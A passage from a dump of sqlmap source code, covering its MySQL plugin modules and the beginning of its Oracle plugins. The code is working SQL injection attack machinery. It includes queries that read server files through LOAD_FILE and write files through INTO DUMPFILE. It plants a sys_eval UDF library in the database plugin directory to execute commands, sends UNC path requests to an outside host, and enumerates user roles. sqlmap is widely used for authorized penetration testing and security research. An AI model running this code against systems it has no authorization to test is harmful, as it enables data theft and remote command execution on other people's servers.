"sys_eval": {"return": "string"}, "sys_bineval": {"return": "int"} } for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.MYSQL] = Syntax.escape ================================================ FILE: plugins/dbms/mysql/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import pymysql except: pass import logging import struct import sys from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/PyMySQL/PyMySQL User guide: https://pymysql.readthedocs.io/en/latest/ Debian package: python3-pymysql License: MIT Possible connectors: http://wiki.python.org/moin/MySQL """ def connect(self): self.initConnection() try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password.encode(sys.stdin.encoding), db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pymysql.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (pymysql.OperationalError, pymysql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except pymysql.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal ================================================ FILE: plugins/dbms/mysql/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): pass ================================================ FILE: plugins/dbms/mysql/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import getSQLSnippet from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapNoneDataException from lib.request import inject from lib.request.connect import Connect as Request from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def nonStackedReadFile(self, rFile): if not kb.bruteMode: infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def stackedReadFile(self, remoteFile): if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % remoteFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % remoteFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if not kb.bruteMode: warnMsg += ", going to fall-back to simpler UNION technique" logger.warning(warnMsg) result = self.nonStackedReadFile(remoteFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) chunkSize = 1024 if length > chunkSize: result = [] for i in xrange(1, length, chunkSize): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result @stackedmethod def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warning(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warning(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from original query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(localFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) ================================================ FILE: plugins/dbms/mysql/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import FORK from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MYSQL) def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/* NoValue */") if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL logger.warning(warnMsg) return None # Reference: https://downloads.mysql.com/archives/community/ # Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/ versions = ( (90300, 90302), # MySQL 9.3 (90200, 90202), # MySQL 9.2 (90100, 90102), # MySQL 9.1 (90000, 90002), # MySQL 9.0 (80400, 80406), # MySQL 8.4 (80300, 80302), # MySQL 8.3 (80200, 80202), # MySQL 8.2 (80100, 80102), # MySQL 8.1 (80000, 80043), # MySQL 8.0 (60000, 60014), # MySQL 6.0 (50700, 50745), # MySQL 5.7 (50600, 50652), # MySQL 5.6 (50500, 50563), # MySQL 5.5 (50400, 50404), # MySQL 5.4 (50100, 50174), # MySQL 5.1 (50000, 50097), # MySQL 5.0 (40100, 40131), # MySQL 4.1 (40000, 40032), # MySQL 4.0 (32300, 32359), # MySQL 3.23 (32200, 32235), # MySQL 3.22 ) found = False for candidate in versions: result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) if not result: found = True break if found: for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if not result: if version[0] == "3": midVer = version[1:3] else: midVer = version[2] trueVer = "%s.%s.%s" % (version[0], midVer, version[3:]) return trueVer return None def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"): fork = FORK.MARIADB elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): fork = FORK.TIDB elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%drizzle%'"): fork = FORK.DRIZZLE elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): fork = FORK.PERCONA elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Doris%'"): fork = FORK.DORIS elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): fork = FORK.STARROCKS elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer if fork: value += " (%s fork)" % fork return value comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = Format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: if banVer and re.search(r"-log$", kb.data.banner or ""): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5") or inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") if not result: # Note: MemSQL doesn't support SESSION_USER() result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") if result: hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warning(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 kb.data.has_information_schema = True # Determine if it is MySQL >= 9.0.0 if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): Backend.setVersion(">= 9.0.0") setDbms("%s 9" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 8.0.0 elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): Backend.setVersion(">= 8.0.0") setDbms("%s 8" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 5.0.0 elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.7 if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): Backend.setVersion(">= 5.7") # Check if it is MySQL >= 5.6 elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): Backend.setVersion(">= 5.6") # Check if it is MySQL >= 5.5 elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() kb.data.has_information_schema = False if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() kb.data.has_information_schema = False return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warning(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") if result: Backend.setOs(OS.WINDOWS) elif not result: Backend.setOs(OS.LINUX) if Backend.getOs(): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) else: self.userChooseDbmsOs() self.cleanup(onlyFileTbl=True) ================================================ FILE: plugins/dbms/mysql/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii from lib.core.convert import getBytes from lib.core.convert import getOrds from lib.core.convert import getUnicode from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 0x6162636465666768 FROM foobar" True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CONVERT(0x61626364c3ab666768 USING utf8) FROM foobar" True """ def escaper(value): if all(_ < 128 for _ in getOrds(value)): return "0x%s" % getUnicode(binascii.hexlify(getBytes(value))) else: return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value, "utf8"))) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/mysql/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import decloakToTemp from lib.core.common import isStackingAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import unArrayizeValue from lib.core.compat import LooseVersion from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None self.__plugindir = None GenericTakeover.__init__(self) def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer and LooseVersion(banVer) >= LooseVersion("5.0.67"): if self.__plugindir is None: logger.info("retrieving MySQL plugin directory absolute path") self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 if self.__plugindir is None and LooseVersion(banVer) >= LooseVersion("5.1.19"): logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) if isWindowsDriveLetterPath(self.__basedir or ""): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin if Backend.isOs(OS.WINDOWS): self.__plugindir = "%s/lib/plugin" % self.__basedir else: self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.' self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: # logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir # self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 self.__datadir = '.' self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir)) # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # C:\WINDOWS\system32, @@basedir\bin or @@datadir self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): _ = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll_") self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: _ = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so_") self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) ret = inpRet["return"] # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html inject.goStacked("DROP FUNCTION %s" % udf) inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): if not isStackingAvailable(): query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload) else: inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True) ================================================ FILE: plugins/dbms/oracle/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.oracle.enumeration import Enumeration from plugins.dbms.oracle.filesystem import Filesystem from plugins.dbms.oracle.fingerprint import Fingerprint from plugins.dbms.oracle.syntax import Syntax from plugins.dbms.oracle.takeover import Takeover from plugins.generic.misc import Miscellaneous class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Oracle methods """ def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.ORACLE] = Syntax.escape ================================================ FILE: plugins/dbms/oracle/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import oracledb except ImportError: pass import logging import os from lib.core.common import getSafeExString from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector os.environ["NLS_LANG"] = ".AL32UTF8" class Connector(GenericConnector): """ Homepage: https://oracle.github.io/python-oracledb/ User: https://python-oracledb.readthedocs.io/en/latest/ License: https://github.com/oracle/python-oracledb/blob/main/LICENSE.txt """ def connect(self): self.initConnection() self.user = getText(self.user) self.password = getText(self.password) try: dsn = oracledb.makedsn(self.hostname, self.port, service_name=self.db) self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn, mode=oracledb.AUTH_MODE_SYSDBA) logger.info("successfully connected as SYSDBA") except oracledb.DatabaseError: # Try again without SYSDBA try: self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn) except oracledb.DatabaseError as ex: raise SqlmapConnectionException(ex) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except oracledb.InterfaceError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): retVal = False try: self.cursor.execute(getText(query)) retVal = True except oracledb.DatabaseError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal ================================================ FILE: plugins/dbms/oracle/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import getLimitRange from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_USER from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[DBMS.ORACLE].roles if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: users = conf.user.split(',') query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and not query2: infoMsg = "trying with table 'USER_ROLE_PRIVS'" logger.info(infoMsg) return self.getRoles(query2=True) if not isNoneValue(values): for value in values: user = None roles = set() for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] # The other columns are the roles else: role = value[count] # In Oracle we get the list of roles as string roles.add(role) if user in kb.data.cachedUsersRoles: kb.data.cachedUsersRoles[user] = list(roles.union(kb.data.cachedUsersRoles[user])) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct: if conf.user: users = conf.user.split(',') else: if not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if user in retrievedUsers: continue infoMsg = "fetching number of roles " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if count != 0 and not query2: infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user logger.warning(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user logger.info(infoMsg) roles = set() indexRange = getLimitRange(count, plusOne=True) for index in indexRange: if query2: query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) role = inject.getValue(query, union=False, error=False) # In Oracle we get the list of roles as string roles.add(role) if roles: kb.data.cachedUsersRoles[user] = list(roles) else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user logger.warning(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersRoles.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return kb.data.cachedUsersRoles, areAdmins ================================================ FILE: plugins/dbms/oracle/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 